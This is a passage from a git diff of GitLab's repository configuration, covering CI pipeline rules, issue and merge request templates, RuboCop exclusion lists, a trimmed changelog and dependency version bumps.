- - "{,ee/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
+ - "{,ee/,jh/}{app,bin,config,db,haml_lint,lib,locale,public,scripts,symbol,vendor}/**/*"
- "doc/api/graphql/reference/*" # Files in this folder are auto-generated
- "data/whats_new/*.yml"
# Backstage changes
- "Dangerfile"
- "danger/**/*"
- - "{,ee/}fixtures/**/*"
- - "{,ee/}rubocop/**/*"
- - "{,ee/}spec/**/*"
+ - "{,ee/,jh/}fixtures/**/*"
+ - "{,ee/,jh/}rubocop/**/*"
+ - "{,ee/,jh/}spec/**/*"
- "{,spec/}tooling/**/*"
# QA changes
- ".dockerignore"
@@ -306,6 +313,11 @@
- <<: *if-security-schedule
- <<: *if-merge-request-title-update-caches
+.shared:rules:update-gitaly-binaries-cache:
+ rules:
+ - <<: *if-merge-request-title-update-caches
+ - changes: *gitaly-patterns
+
######################
# Build images rules #
######################
@@ -317,6 +329,8 @@
changes: *ci-build-images-patterns
- <<: *if-dot-com-gitlab-org-and-security-merge-request
changes: *code-qa-patterns
+ - <<: *if-dot-com-gitlab-org-default-branch
+ changes: *code-qa-patterns
- <<: *if-dot-com-gitlab-org-schedule
.build-images:rules:build-assets-image:
@@ -440,6 +454,8 @@
- <<: *if-merge-request-title-as-if-foss
- <<: *if-merge-request-title-run-all-rspec
- <<: *if-merge-request
+ changes: *startup-css-patterns
+ - <<: *if-merge-request
changes: *ci-patterns
.frontend:rules:eslint-as-if-foss:
@@ -1130,6 +1146,20 @@
changes: *code-qa-patterns
allow_failure: true
+.review:rules:review-qa-smoke-report:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *ci-review-patterns
+ when: always
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *frontend-patterns
+ when: always
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-qa-patterns
+ when: always
+
.review:rules:review-qa-all:
rules:
- <<: *if-not-ee
@@ -1142,6 +1172,19 @@
changes: *qa-patterns
allow_failure: true
+.review:rules:review-qa-all-report:
+ rules:
+ - <<: *if-not-ee
+ when: never
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *code-patterns
+ when: manual
+ allow_failure: true
+ - <<: *if-dot-com-gitlab-org-merge-request
+ changes: *qa-patterns
+ allow_failure: true
+ when: always
+
.review:rules:review-cleanup:
rules:
- <<: *if-not-ee
diff --git a/.gitlab/ci/untamper-my-lockfile.yml b/.gitlab/ci/untamper-my-lockfile.yml
deleted file mode 100644
index 54ba160f1bd..00000000000
--- a/.gitlab/ci/untamper-my-lockfile.yml
+++ /dev/null
@@ -1,26 +0,0 @@
-untamper-my-lockfile:
- image: registry.gitlab.com/gitlab-org/frontend/untamper-my-lockfile:main
- stage: test
- needs: []
- before_script: []
- after_script: []
- cache: {}
- retry: 1
- script:
- - untamper-my-lockfile --lockfile yarn.lock
- rules:
- # Create a pipeline if the branch is named 'add-untamper-my-lockfile' in
- # order to have an integration check added in the MR that introduces it
- - if: $CI_COMMIT_REF_NAME == "add-untamper-my-lockfile"
- # Create a pipeline if there are changes in yarn.lock _and_ we are in a
- # merge request _or_ branch pipeline.
- #
- # This ensures that the pipeline isn't run in scheduled jobs for example
- #
- # Also our best effort to support both branch and MR pipelines. In certain
- # projects this might trigger _two_ pipelines. These projects can be fixed
- # by adding proper workflow:rules
- # https://docs.gitlab.com/ee/ci/yaml/#workflowrules
- - if: $CI_PIPELINE_SOURCE == "merge_request_event" || $CI_PIPELINE_SOURCE == "push" && $CI_COMMIT_BRANCH
- changes:
- - yarn.lock
diff --git a/.gitlab/ci/yaml.gitlab-ci.yml b/.gitlab/ci/yaml.gitlab-ci.yml
index c597d992760..a0961866465 100644
--- a/.gitlab/ci/yaml.gitlab-ci.yml
+++ b/.gitlab/ci/yaml.gitlab-ci.yml
@@ -10,5 +10,4 @@ lint-yaml:
variables:
LINT_PATHS: .gitlab-ci.yml .gitlab/ci lib/gitlab/ci/templates changelogs
script:
- - '[[ ! -d "ee/" ]] || export LINT_PATHS="$LINT_PATHS ee/changelogs"'
- yamllint -f colored $LINT_PATHS
diff --git a/.gitlab/issue_templates/Documentation.md b/.gitlab/issue_templates/Documentation.md
index f05d7049b7f..c58b6d0cf06 100644
--- a/.gitlab/issue_templates/Documentation.md
+++ b/.gitlab/issue_templates/Documentation.md
@@ -25,7 +25,7 @@
* Include use cases, benefits, and/or goals for this work.
* If adding content: What audience is it intended for? (What roles and scenarios?)
For ideas, see personas at https://about.gitlab.com/handbook/marketing/product-marketing/roles-personas/ or the persona labels at
- https://gitlab.com/groups/gitlab-org/-/labels?utf8=%E2%9C%93&subscribed=&search=persona%3A
+ https://gitlab.com/groups/gitlab-org/-/labels?subscribed=&search=persona%3A
-->
### Proposal
diff --git a/.gitlab/issue_templates/Feature Flag Removal.md b/.gitlab/issue_templates/Feature Flag Removal.md
deleted file mode 100644
index c061ab8516c..00000000000
--- a/.gitlab/issue_templates/Feature Flag Removal.md
+++ /dev/null
@@ -1,28 +0,0 @@
-<!-- Title suggestion: [Feature flag] Remove FEATURE_FLAG_NAME -->
-
-## Feature
-
-The `:feature_name` feature flag was previously [enabled by default](URL) and should be removed.
-
-## Owners
-
-- Group: ~"group::GROUP_NAME"
-- Slack channel: `#g_GROUP_NAME`
-- DRI: USERNAME
-- PM: USERNAME
-
-**Removal**
-
-This is an __important__ phase, that should be either done in the next Milestone or as soon as possible. For the cleanup phase, please follow our documentation on how to [clean up the feature flag](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up).
-
-- [ ] Remove `:feature_name` feature flag
- - [ ] Remove all references to the feature flag from the codebase
- - [ ] Remove the YAML definitions for the feature from the repository
- - [ ] Create a Changelog Entry
-
-- [ ] Clean up the feature flag from all environments by running this chatops command in `#production` channel `/chatops run feature delete some_feature`.
-
-- [ ] Close this issue after the feature flag is removed from the codebase.
-
-/label ~"feature flag" ~"technical debt"
-/assign DRI
diff --git a/.gitlab/issue_templates/Feature Flag Roll Out.md b/.gitlab/issue_templates/Feature Flag Roll Out.md
index f07604d2d3d..424b752d1b4 100644
--- a/.gitlab/issue_templates/Feature Flag Roll Out.md
+++ b/.gitlab/issue_templates/Feature Flag Roll Out.md
@@ -110,6 +110,12 @@ To do so, follow these steps:
the feature can be officially announced in a release blog post.
- [ ] `/chatops run auto_deploy status <merge-commit>`
- [ ] Close [the feature issue](ISSUE LINK) to indicate the feature will be released in the current milestone.
+- [ ] Set the next milestone to this rollout issue for scheduling [the flag removal](#release-the-feature).
+- [ ] (Optional) You can create a separate issue for scheduling the steps below to [Release the feature](#release-the-feature).
+ - [ ] Set the title to "[Feature flag] Cleanup `<feature-flag-name>`".
+ - [ ] Execute the `/copy_metadata <this-rollout-issue-link>` quick action to copy the labels from this rollout issue.
+ - [ ] Link this rollout issue as a related issue.
+ - [ ] Close this rollout issue.
**WARNING:** This approach has the downside that it makes it difficult for us to
[clean up](https://docs.gitlab.com/ee/development/feature_flags/controls.html#cleaning-up) the flag.
diff --git a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
index feabef36f20..be6fef40f3a 100644
--- a/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new Git repository type.md
@@ -513,6 +513,12 @@ That's all of the required database changes.
last_synced_at { 1.day.ago }
retry_count { 0 }
end
+
+ trait :verification_succeeded do
+ verification_checksum { 'e079a831cab27bcda7d81cd9b48296d0c3dd92ef' }
+ verification_state { Geo::CoolWidgetRegistry.verification_state_value(:verification_succeeded) }
+ verified_at { 5.days.ago }
+ end
end
end
```
diff --git a/.gitlab/issue_templates/Geo Replicate a new blob type.md b/.gitlab/issue_templates/Geo Replicate a new blob type.md
index b9e69d36ecc..c7bbb6b937c 100644
--- a/.gitlab/issue_templates/Geo Replicate a new blob type.md
+++ b/.gitlab/issue_templates/Geo Replicate a new blob type.md
@@ -479,6 +479,12 @@ That's all of the required database changes.
last_synced_at { 1.day.ago }
retry_count { 0 }
end
+
+ trait :verification_succeeded do
+ verification_checksum { 'e079a831cab27bcda7d81cd9b48296d0c3dd92ef' }
+ verification_state { Geo::CoolWidgetRegistry.verification_state_value(:verification_succeeded) }
+ verified_at { 5.days.ago }
+ end
end
end
```
diff --git a/.gitlab/merge_request_templates/Documentation.md b/.gitlab/merge_request_templates/Documentation.md
index fac84d98141..9c6b5a73b4f 100644
--- a/.gitlab/merge_request_templates/Documentation.md
+++ b/.gitlab/merge_request_templates/Documentation.md
@@ -52,8 +52,8 @@ All reviewers can help ensure accuracy, clarity, completeness, and adherence to
- [ ] Technical writer review. If not requested for this MR, must be scheduled post-merge. To request for this MR, assign the writer listed for the applicable [DevOps stage](https://about.gitlab.com/handbook/product/categories/#devops-stages).
- [ ] Ensure docs metadata are present and up-to-date.
- [ ] Ensure ~"Technical Writing" and ~"documentation" are added.
- - [ ] Add the corresponding `docs::` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?utf8=%E2%9C%93&subscribed=&search=docs%3A%3A).
- - [ ] If working on UI text, add the corresponding `UI Text` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?utf8=%E2%9C%93&subscribed=&search=ui+text).
+ - [ ] Add the corresponding `docs::` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?subscribed=&search=docs%3A%3A).
+ - [ ] If working on UI text, add the corresponding `UI Text` [scoped label](https://gitlab.com/groups/gitlab-org/-/labels?subscribed=&search=ui+text).
- [ ] Add ~"tw::doing" when starting work on the MR.
- [ ] Add ~"tw::finished" if Technical Writing team work on the MR is complete but it remains open.
diff --git a/.gitlab/merge_request_templates/Security Release.md b/.gitlab/merge_request_templates/Security Release.md
index fccfad18ef0..77e8718c34f 100644
--- a/.gitlab/merge_request_templates/Security Release.md
+++ b/.gitlab/merge_request_templates/Security Release.md
@@ -16,7 +16,7 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
- [ ] Merge request targets `master`, or a versioned stable branch (`X-Y-stable-ee`).
- [ ] Milestone is set for the version this merge request applies to. A closed milestone can be assigned via [quick actions].
- [ ] Title of this merge request is the same as for all backports.
-- [ ] A [CHANGELOG entry] is added without a `merge_request` value, with `type` set to `security`
+- [ ] A [CHANGELOG entry] has been included, with `Changelog` trailer set to `security`.
- [ ] For the MR targeting `master`:
- [ ] Assign to a reviewer and maintainer, per our [Code Review process].
- [ ] Ensure it's approved according to our [Approval Guidelines].
@@ -37,7 +37,7 @@ See [the general developer security release guidelines](https://gitlab.com/gitla
[GitLab Security]: https://gitlab.com/gitlab-org/security/gitlab
[quick actions]: https://docs.gitlab.com/ee/user/project/quick_actions.html#quick-actions-for-issues-merge-requests-and-epics
-[CHANGELOG entry]: https://docs.gitlab.com/ee/development/changelog.html
+[CHANGELOG entry]: https://docs.gitlab.com/ee/development/changelog.html#overview
[Code Review process]: https://docs.gitlab.com/ee/development/code_review.html
[Approval Guidelines]: https://docs.gitlab.com/ee/development/code_review.html#approval-guidelines
[Canonical repository]: https://gitlab.com/gitlab-org/gitlab
diff --git a/.markdownlint.yml b/.markdownlint.yml
index ccf2ef02eee..dd04406f68d 100644
--- a/.markdownlint.yml
+++ b/.markdownlint.yml
@@ -66,7 +66,6 @@
"Grafana",
"Gzip",
"Helm",
- "HipChat",
"ID",
"Ingress",
"jasmine-jquery",
@@ -131,7 +130,6 @@
"Ubuntu",
"Ultra Auth",
"Unicorn",
- "unicorn-worker-killer",
"URL",
"WebdriverIO",
"YAML",
diff --git a/.rubocop.yml b/.rubocop.yml
index d086bdf7361..a26e9ab986b 100644
--- a/.rubocop.yml
+++ b/.rubocop.yml
@@ -36,8 +36,9 @@ AllCops:
- 'plugins/**/*'
- 'file_hooks/**/*'
- 'workhorse/**/*'
+ - 'spec/support/*.git/**/*' # e.g. spec/support/gitlab-git-test.git
CacheRootDirectory: tmp
- MaxFilesInCache: 18000
+ MaxFilesInCache: 25000
Cop/AvoidKeywordArgumentsInSidekiqWorkers:
Enabled: true
@@ -89,6 +90,7 @@ RSpec/FilePath:
- 'spec/frontend/fixtures/*'
- 'ee/spec/frontend/fixtures/*'
- 'spec/requests/api/v3/*'
+ - 'spec/fixtures/**/*'
# Configuration parameters: AllowSubject.
RSpec/MultipleMemoizedHelpers:
@@ -663,3 +665,8 @@ Style/RegexpLiteralMixedPreserve:
- mixed
- mixed_preserve
EnforcedStyle: mixed_preserve
+
+RSpec/TopLevelDescribePath:
+ Exclude:
+ - 'spec/fixtures/**/*.rb'
+ - 'ee/spec/fixtures/**/*.rb'
diff --git a/.rubocop_manual_todo.yml b/.rubocop_manual_todo.yml
index e5cb55488d7..dcd6dcf4062 100644
--- a/.rubocop_manual_todo.yml
+++ b/.rubocop_manual_todo.yml
@@ -13,8 +13,6 @@
# WIP See https://gitlab.com/gitlab-org/gitlab/-/issues/322903
Graphql/Descriptions:
Exclude:
- - 'app/graphql/types/snippets/blob_action_enum.rb'
- - 'app/graphql/types/snippets/visibility_scopes_enum.rb'
- 'ee/app/graphql/ee/types/list_limit_metric_enum.rb'
- 'ee/app/graphql/types/epic_state_enum.rb'
- 'ee/app/graphql/types/health_status_enum.rb'
@@ -31,8 +29,6 @@ Graphql/Descriptions:
# WIP: See https://gitlab.com/gitlab-org/gitlab/-/issues/220040
Rails/SaveBang:
Exclude:
- - 'ee/spec/controllers/projects/merge_requests_controller_spec.rb'
- - 'ee/spec/controllers/subscriptions_controller_spec.rb'
- 'ee/spec/initializers/fog_google_https_private_urls_spec.rb'
- 'ee/spec/lib/analytics/merge_request_metrics_calculator_spec.rb'
- 'ee/spec/lib/ee/gitlab/auth/ldap/sync/group_spec.rb'
@@ -157,11 +153,7 @@ Rails/SaveBang:
- 'spec/lib/gitlab/shard_health_cache_spec.rb'
- 'spec/mailers/notify_spec.rb'
- 'spec/models/clusters/applications/helm_spec.rb'
- - 'spec/models/container_repository_spec.rb'
- 'spec/models/design_management/version_spec.rb'
- - 'spec/models/diff_discussion_spec.rb'
- - 'spec/models/diff_note_spec.rb'
- - 'spec/models/email_spec.rb'
- 'spec/models/environment_spec.rb'
- 'spec/models/event_spec.rb'
- 'spec/models/fork_network_spec.rb'
@@ -170,10 +162,6 @@ Rails/SaveBang:
- 'spec/models/group_spec.rb'
- 'spec/models/identity_spec.rb'
- 'spec/models/jira_import_state_spec.rb'
- - 'spec/models/key_spec.rb'
- - 'spec/models/lfs_objects_project_spec.rb'
- - 'spec/models/merge_request_spec.rb'
- - 'spec/models/milestone_spec.rb'
- 'spec/models/namespace_spec.rb'
- 'spec/models/note_spec.rb'
- 'spec/models/notification_setting_spec.rb'
@@ -385,7 +373,6 @@ RSpec/EmptyLineAfterFinalLetItBe:
- ee/spec/requests/api/commits_spec.rb
- ee/spec/requests/api/dora/metrics_spec.rb
- ee/spec/requests/api/epics_spec.rb
- - ee/spec/requests/api/external_approval_rules_spec.rb
- ee/spec/requests/api/geo_spec.rb
- ee/spec/requests/api/graphql/boards/epic_board_list_epics_query_spec.rb
- ee/spec/requests/api/graphql/current_user/todos_query_spec.rb
@@ -449,9 +436,9 @@ RSpec/EmptyLineAfterFinalLetItBe:
- ee/spec/services/dast_scanner_profiles/destroy_service_spec.rb
- ee/spec/services/dast_scanner_profiles/update_service_spec.rb
- ee/spec/services/dast_site_profiles/destroy_service_spec.rb
- - ee/spec/services/external_approval_rules/create_service_spec.rb
- - ee/spec/services/external_approval_rules/destroy_service_spec.rb
- - ee/spec/services/external_approval_rules/update_service_spec.rb
+ - ee/spec/services/external_status_checks/create_service_spec.rb
+ - ee/spec/services/external_status_checks/destroy_service_spec.rb
+ - ee/spec/services/external_status_checks/update_service_spec.rb
- ee/spec/services/gitlab_subscriptions/activate_service_spec.rb
- ee/spec/services/gitlab_subscriptions/apply_trial_service_spec.rb
- ee/spec/services/incident_management/incidents/upload_metric_service_spec.rb
@@ -732,7 +719,6 @@ RSpec/EmptyLineAfterFinalLetItBe:
- spec/services/wiki_pages/event_create_service_spec.rb
- spec/support/shared_examples/graphql/design_fields_shared_examples.rb
- spec/support/shared_examples/graphql/mutations/set_assignees_shared_examples.rb
- - spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb
- spec/support/shared_examples/quick_actions/issuable/issuable_quick_actions_shared_examples.rb
- spec/support/shared_examples/services/container_registry_auth_service_shared_examples.rb
- spec/support/shared_examples/services/packages_shared_examples.rb
@@ -771,7 +757,6 @@ RSpec/TimecopFreeze:
- 'ee/spec/lib/gitlab/analytics/cycle_analytics/summary/group/stage_time_summary_spec.rb'
- 'ee/spec/lib/gitlab/analytics/type_of_work/tasks_by_type_spec.rb'
- 'ee/spec/lib/gitlab/auth/group_saml/sso_enforcer_spec.rb'
- - 'ee/spec/lib/gitlab/database/load_balancing/host_spec.rb'
- 'ee/spec/lib/gitlab/geo/base_request_spec.rb'
- 'ee/spec/lib/gitlab/geo/event_gap_tracking_spec.rb'
- 'ee/spec/lib/gitlab/geo/git_push_http_spec.rb'
@@ -882,7 +867,6 @@ RSpec/AnyInstanceOf:
- 'ee/spec/features/issues/form_spec.rb'
- 'ee/spec/features/merge_request/user_creates_merge_request_spec.rb'
- 'ee/spec/features/projects/new_project_spec.rb'
- - 'ee/spec/features/projects/services/user_activates_jira_spec.rb'
- 'ee/spec/features/registrations/welcome_spec.rb'
- 'ee/spec/features/security/project/internal_access_spec.rb'
- 'ee/spec/features/security/project/private_access_spec.rb'
@@ -1161,6 +1145,8 @@ RSpec/AnyInstanceOf:
- 'spec/models/hooks/service_hook_spec.rb'
- 'spec/models/hooks/system_hook_spec.rb'
- 'spec/models/hooks/web_hook_spec.rb'
+ - 'spec/models/integrations/jira_spec.rb'
+ - 'spec/models/integrations/mattermost_slash_commands_spec.rb'
- 'spec/models/issue_spec.rb'
- 'spec/models/key_spec.rb'
- 'spec/models/member_spec.rb'
@@ -1168,8 +1154,6 @@ RSpec/AnyInstanceOf:
- 'spec/models/merge_request_spec.rb'
- 'spec/models/note_spec.rb'
- 'spec/models/project_import_state_spec.rb'
- - 'spec/models/project_services/jira_service_spec.rb'
- - 'spec/models/project_services/mattermost_slash_commands_service_spec.rb'
- 'spec/models/project_spec.rb'
- 'spec/models/repository_spec.rb'
- 'spec/models/user_spec.rb'
@@ -1302,8 +1286,8 @@ RSpec/AnyInstanceOf:
- 'spec/support/shared_examples/features/snippets_shared_examples.rb'
- 'spec/support/shared_examples/lib/gitlab/ci/ci_trace_shared_examples.rb'
- 'spec/support/shared_examples/models/atomic_internal_id_shared_examples.rb'
- - 'spec/support/shared_examples/models/chat_slash_commands_shared_examples.rb'
- 'spec/support/shared_examples/models/diff_note_after_commit_shared_examples.rb'
+ - 'spec/support/shared_examples/models/integrations/base_slash_commands_shared_examples.rb'
- 'spec/support/shared_examples/models/mentionable_shared_examples.rb'
- 'spec/support/shared_examples/models/with_uploads_shared_examples.rb'
- 'spec/support/shared_examples/path_extraction_shared_examples.rb'
@@ -1320,7 +1304,6 @@ RSpec/AnyInstanceOf:
- 'spec/support/shared_examples/workers/authorized_projects_worker_shared_example.rb'
- 'spec/support/shared_examples/workers/reactive_cacheable_shared_examples.rb'
- 'spec/support/snowplow.rb'
- - 'spec/support/unicorn.rb'
- 'spec/tasks/gitlab/cleanup_rake_spec.rb'
- 'spec/tasks/gitlab/container_registry_rake_spec.rb'
- 'spec/tasks/gitlab/db_rake_spec.rb'
@@ -1602,6 +1585,7 @@ Gitlab/NamespacedClass:
- 'app/models/list_user_preference.rb'
- 'app/models/member.rb'
- 'app/models/members/group_member.rb'
+ - 'app/models/members/last_group_owner_assigner.rb'
- 'app/models/members/project_member.rb'
- 'app/models/members_preloader.rb'
- 'app/models/merge_request.rb'
@@ -1658,48 +1642,9 @@ Gitlab/NamespacedClass:
- 'app/models/project_pages_metadatum.rb'
- 'app/models/project_repository.rb'
- 'app/models/project_repository_storage_move.rb'
- - 'app/models/project_services/alerts_service.rb'
- - 'app/models/project_services/alerts_service_data.rb'
- - 'app/models/project_services/bugzilla_service.rb'
- - 'app/models/project_services/buildkite_service.rb'
- - 'app/models/project_services/chat_notification_service.rb'
- - 'app/models/project_services/ci_service.rb'
- - 'app/models/project_services/custom_issue_tracker_service.rb'
- - 'app/models/project_services/discord_service.rb'
- - 'app/models/project_services/drone_ci_service.rb'
- - 'app/models/project_services/ewm_service.rb'
- - 'app/models/project_services/external_wiki_service.rb'
- - 'app/models/project_services/flowdock_service.rb'
- - 'app/models/project_services/hangouts_chat_service.rb'
- - 'app/models/project_services/hipchat_service.rb'
- - 'app/models/project_services/irker_service.rb'
- - 'app/models/project_services/issue_tracker_data.rb'
- - 'app/models/project_services/issue_tracker_service.rb'
- - 'app/models/project_services/jenkins_service.rb'
- - 'app/models/project_services/jira_service.rb'
- - 'app/models/project_services/jira_tracker_data.rb'
- - 'app/models/project_services/mattermost_service.rb'
- - 'app/models/project_services/mattermost_slash_commands_service.rb'
- - 'app/models/project_services/microsoft_teams_service.rb'
- - 'app/models/project_services/mock_ci_service.rb'
- - 'app/models/project_services/mock_deployment_service.rb'
- 'app/models/project_services/mock_monitoring_service.rb'
- 'app/models/project_services/monitoring_service.rb'
- - 'app/models/project_services/open_project_service.rb'
- - 'app/models/project_services/open_project_tracker_data.rb'
- - 'app/models/project_services/packagist_service.rb'
- - 'app/models/project_services/pipelines_email_service.rb'
- - 'app/models/project_services/pivotaltracker_service.rb'
- 'app/models/project_services/prometheus_service.rb'
- - 'app/models/project_services/pushover_service.rb'
- - 'app/models/project_services/redmine_service.rb'
- - 'app/models/project_services/slack_service.rb'
- - 'app/models/project_services/slack_slash_commands_service.rb'
- - 'app/models/project_services/slash_commands_service.rb'
- - 'app/models/project_services/teamcity_service.rb'
- - 'app/models/project_services/unify_circuit_service.rb'
- - 'app/models/project_services/webex_teams_service.rb'
- - 'app/models/project_services/youtrack_service.rb'
- 'app/models/project_setting.rb'
- 'app/models/project_snippet.rb'
- 'app/models/project_statistics.rb'
@@ -2404,11 +2349,6 @@ Gitlab/NamespacedClass:
- 'ee/app/models/project_alias.rb'
- 'ee/app/models/project_repository_state.rb'
- 'ee/app/models/project_security_setting.rb'
- - 'ee/app/models/project_services/github_service.rb'
- - 'ee/app/models/project_services/github_service/remote_project.rb'
- - 'ee/app/models/project_services/github_service/status_message.rb'
- - 'ee/app/models/project_services/github_service/status_notifier.rb'
- - 'ee/app/models/project_services/gitlab_slack_application_service.rb'
- 'ee/app/models/protected_environment.rb'
- 'ee/app/models/push_rule.rb'
- 'ee/app/models/resource_iteration_event.rb'
@@ -2533,7 +2473,6 @@ Gitlab/NamespacedClass:
- 'ee/app/workers/elastic_full_index_worker.rb'
- 'ee/app/workers/elastic_index_bulk_cron_worker.rb'
- 'ee/app/workers/elastic_index_initial_bulk_cron_worker.rb'
- - 'ee/app/workers/elastic_indexer_worker.rb'
- 'ee/app/workers/elastic_indexing_control_worker.rb'
- 'ee/app/workers/elastic_namespace_indexer_worker.rb'
- 'ee/app/workers/elastic_namespace_rollout_worker.rb'
@@ -2699,7 +2638,6 @@ Performance/OpenStruct:
- 'ee/lib/gitlab/graphql/aggregations/epics/epic_node.rb'
- 'lib/api/wikis.rb'
- 'lib/gitlab/ci/ansi2html.rb'
- - 'lib/gitlab/ci/reports/test_suite_comparer.rb'
- 'lib/gitlab/git/diff_collection.rb'
- 'lib/gitlab/import_export/after_export_strategies/base_after_export_strategy.rb'
- 'lib/gitlab/testing/request_inspector_middleware.rb'
@@ -2712,8 +2650,8 @@ Gitlab/DelegatePredicateMethods:
- 'app/models/clusters/platforms/kubernetes.rb'
- 'app/models/concerns/ci/metadatable.rb'
- 'app/models/concerns/diff_positionable_note.rb'
+ - 'app/models/concerns/integrations/base_data_fields.rb'
- 'app/models/concerns/resolvable_discussion.rb'
- - 'app/models/concerns/services/data_fields.rb'
- 'app/models/project.rb'
- 'ee/app/models/concerns/ee/ci/metadatable.rb'
- 'ee/app/models/ee/group.rb'
@@ -2888,7 +2826,7 @@ Gitlab/FeatureAvailableUsage:
- 'ee/app/views/shared/promotions/_promote_repository_features.html.haml'
- 'ee/app/workers/analytics/code_review_metrics_worker.rb'
- 'ee/app/workers/group_saml_group_sync_worker.rb'
- - 'ee/lib/api/external_approval_rules.rb'
+ - 'ee/lib/api/external_status_checks.rb'
- 'ee/lib/ee/api/entities/approval_state.rb'
- 'ee/lib/ee/api/entities/board.rb'
- 'ee/lib/ee/api/entities/issue.rb'
@@ -2936,8 +2874,6 @@ Style/RegexpLiteralMixedPreserve:
- 'ee/spec/controllers/groups/groups_controller_spec.rb'
- 'ee/spec/features/groups/saml_enforcement_spec.rb'
- 'ee/spec/features/markdown/metrics_spec.rb'
- - 'ee/spec/lib/gitlab/database/load_balancing/load_balancer_spec.rb'
- - 'ee/spec/models/project_services/jira_service_spec.rb'
- 'ee/spec/services/jira/requests/issues/list_service_spec.rb'
- 'lib/api/invitations.rb'
- 'lib/gitlab/ci/pipeline/expression/lexeme/pattern.rb'
@@ -2966,5 +2902,4 @@ Style/RegexpLiteralMixedPreserve:
- 'spec/support/helpers/grafana_api_helpers.rb'
- 'spec/support/helpers/query_recorder.rb'
- 'spec/support/helpers/require_migration.rb'
- - 'spec/support/shared_examples/models/slack_mattermost_notifications_shared_examples.rb'
- 'spec/views/layouts/_head.html.haml_spec.rb'
diff --git a/.rubocop_todo.yml b/.rubocop_todo.yml
index 26b12f26943..ad1f7afa451 100644
--- a/.rubocop_todo.yml
+++ b/.rubocop_todo.yml
@@ -152,7 +152,7 @@ Lint/MissingCopEnableDirective:
Lint/MixedRegexpCaptureTypes:
Exclude:
- 'app/models/alert_management/alert.rb'
- - 'app/models/project_services/ewm_service.rb'
+ - 'app/models/integrations/ewm.rb'
- 'app/uploaders/file_uploader.rb'
- 'ee/lib/gitlab/code_owners/reference_extractor.rb'
- 'lib/gitlab/ci/pipeline/expression/lexeme/string.rb'
@@ -742,11 +742,6 @@ Style/ExplicitBlockArgument:
Style/FormatString:
Enabled: false
-# Offense count: 67
-# Cop supports --auto-correct.
-Style/GlobalStdStream:
- Enabled: false
-
# Offense count: 897
# Configuration parameters: MinBodyLength.
Style/GuardClause:
diff --git a/.stylelintrc b/.stylelintrc
index 13ec6ea340b..a4331811eb3 100644
--- a/.stylelintrc
+++ b/.stylelintrc
@@ -3,6 +3,7 @@
"ignoreFiles": [
"app/assets/stylesheets/pages/emojis.scss",
"app/assets/stylesheets/startup/startup-*.scss",
+ "ee/app/assets/stylesheets/startup/startup-*.scss",
"app/assets/stylesheets/lazy_bundles/select2.scss",
"app/assets/stylesheets/highlight/themes/*.scss",
"app/assets/stylesheets/lazy_bundles/cropper.css"
diff --git a/CHANGELOG.md b/CHANGELOG.md
index cf7d07b984d..6cbd9e875df 100644
--- a/CHANGELOG.md
+++ b/CHANGELOG.md
@@ -28,22 +28,6 @@ entry.
- [Improve SSH key expiration warning emails](gitlab-org/gitlab@2e3929503046ab1da5635ef295321ce08843f937) ([merge request](gitlab-org/gitlab!63393))
-## 13.12.2 (2021-06-01)
-
-### Security (11 changes)
-
-- [Bump BinData version](gitlab-org/security/gitlab@609303ac4904cad6bbcc776bb809a46a66891d53) ([merge request](gitlab-org/security/gitlab!1414))
-- [Block access to GitLab for users with expired password](gitlab-org/security/gitlab@f0a07ce8a596a4dd6f1311dff893c896b0cdf82f) ([merge request](gitlab-org/security/gitlab!1446))
-- [Adds redirect page to OAuth](gitlab-org/security/gitlab@6ed6dfc8f9ba785fd5337ee0f4701c983b6f07b0) ([merge request](gitlab-org/security/gitlab!1441))
-- [Update users two factor required from group](gitlab-org/security/gitlab@8c3fe378289d2dced2139c9db396b6270d3bc0ab) ([merge request](gitlab-org/security/gitlab!1432))
-- [Updates authorization for lint](gitlab-org/security/gitlab@be33caed9684af07ac715038d7a2865d9d0c7247) ([merge request](gitlab-org/security/gitlab!1429))
-- [Opt in to Atlassians new context qsh](gitlab-org/security/gitlab@f1d06250fbef6fa2af8a8c88d3b3f9391c332089) ([merge request](gitlab-org/security/gitlab!1408))
-- [Limit oncall projects shown to scope of source](gitlab-org/security/gitlab@a70859aaac44c9b3bd3cc673737e01e2a3aba99c) ([merge request](gitlab-org/security/gitlab!1410)) **GitLab Enterprise Edition**
-- [Only verify commit signatures if the user email is verified](gitlab-org/security/gitlab@9039fdffdf109cdf667be8db3d792a502aad8bb9) ([merge request](gitlab-org/security/gitlab!1385))
-- [Prevent XSS on notebooks](gitlab-org/security/gitlab@9a2dc30920c2a271257ccec92aebcfabec276096) ([merge request](gitlab-org/security/gitlab!1421))
-- [Truncate all non-blob markdown to 1MB by default](gitlab-org/security/gitlab@e9e6bc0450639ee25fd0ced983da231700a4d4f9) ([merge request](gitlab-org/security/gitlab!1420))
-- [Use xpath search of Nokogiri instead of css search](gitlab-org/security/gitlab@7e5c79021ab54ffc70d22bba3c663ce38ae83a88) ([merge request](gitlab-org/security/gitlab!1416))
-
## 13.12.1 (2021-05-25)
### Fixed (3 changes)
diff --git a/GITALY_SERVER_VERSION b/GITALY_SERVER_VERSION
index 535687224af..9b197696144 100644
--- a/GITALY_SERVER_VERSION
+++ b/GITALY_SERVER_VERSION
@@ -1 +1 @@
-13.12.4 \ No newline at end of file
+8a6d0e26de9d584941267d2b68c94b37bc30e092
diff --git a/GITLAB_ELASTICSEARCH_INDEXER_VERSION b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
index 46b81d815a2..d8b698973a4 100644
--- a/GITLAB_ELASTICSEARCH_INDEXER_VERSION
+++ b/GITLAB_ELASTICSEARCH_INDEXER_VERSION
@@ -1 +1 @@
-2.11.0
+2.12.0
